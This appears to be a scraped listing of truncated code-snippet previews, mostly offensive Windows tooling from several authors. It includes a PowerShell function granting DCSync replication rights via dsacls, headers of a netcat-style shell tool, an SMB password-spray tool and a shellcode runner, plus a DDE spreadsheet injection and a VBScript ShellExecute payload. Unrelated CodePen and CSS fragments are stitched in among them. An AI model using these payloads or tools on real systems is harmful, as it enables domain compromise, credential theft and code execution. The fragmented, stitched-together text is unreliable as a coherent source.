r00t-3xp10it

<# 
.SYNOPSIS
   Authenticates to PasteBin.com, and uploads text data to PasteBin

   Author: @r00t-3xp10it
   Credits: @BankSecurity
   Tested Under: Windows 10 (19042) x64 bits
   Required Dependencies: none
   Optional Dependencies: none
   PS cmdlet Dev version: v1.0.6

rmusser01

//Compile: PS C:\> C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe .\mboxexecute.cs
//Usage: PS C:\> .\mboxexecute.exe <path to shellcode>

//References: 
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-messageboxindirecta
// https://docs.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-msgboxparamsa


using System;
using System.IO;

RagnowProductions

Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen In Codepen...

A Pen by Fennec The Fox on CodePen.

License.

loretoparisi

/* Add the seed attribute and set it to a random integer in <feTurbulence> to create your own variant! */
html,
body,
object {
  height: 100%;
  width: 100%;
  margin: 0px;
  padding: 0px;
}
div {

jfmaes

        function Invoke-SyncMeUp{
        [CmdletBinding()]
            Param (
            [Parameter(Mandatory=$True)]
            [string]$AccountName
            )
        $dse = [ADSI]"LDAP://Rootdse"
        $namingcontext = $dse.defaultNamingContext
        echo "Giving $AccountName DCSync rights"
        dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes"

r00t-3xp10it

<#
   pow`er`cat - Netcat, The Powershell Version
   Github Repository: https://github.com/besimorhino/powe`rc`at

   This script attempts to implement the features of netcat in a powershell
   script. It also contains extra features such as built-in relays, execute
   powershell, and a dnscat2 client.

   Usage: papacat [-c or -l] [-p port] [options]

r00t-3xp10it

<#
.SYNOPSIS
   Minimalistic SMB password spray attack tool

   Author: @r00t-3xp10it
   Addapted From: @InfosecMatter
   Tested Under: Windows 10 (19043) x64 bits
   Required Dependencies: Get-Service, New-PSDrive {native}
   Optional Dependencies: Ping-Object {native}
   PS cmdlet Dev version: v1.0.8

OlivierLaflamme

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c powershell.exe /c calc'!AO

r00t-3xp10it

PATH interception—search order hijack

Let me explain how '$Env:PATH search order hijacking' vulnerability works:

• Lets take PING.exe as one example, PING.exe its located in C:\Windows\System32 folder
  
  
  

Vulnerable system PATH configuration example

C:\Program Files\java;

OlivierLaflamme

<script language="VBScript">
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "calc.exe",Null,"C:\Windows\System32",Null,0 
self.close
</script>